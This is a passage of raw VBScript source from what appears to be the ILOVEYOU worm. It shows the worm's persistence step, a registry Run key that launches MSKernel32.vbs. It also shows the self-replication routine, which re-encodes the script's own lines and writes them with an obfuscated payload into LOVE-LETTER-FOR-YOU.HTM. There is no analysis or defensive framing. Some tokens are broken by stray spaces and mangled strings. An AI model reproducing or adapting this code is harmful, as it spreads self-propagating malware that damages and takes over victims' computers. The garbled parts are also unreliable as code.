"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@
[email protected]@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),& quot;'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),&q uot;""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),&q uot;/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),&q uot;\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),& quot;'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),&q uot;""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),&q uot;/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),&q uot;\")
set fso=CreateObject("Scripting.FileSystemObject& quot;)
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+ch r(45)+chr(91))
lines(n)=replace(lines(n),"""" ,chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+ch r(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&v bcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub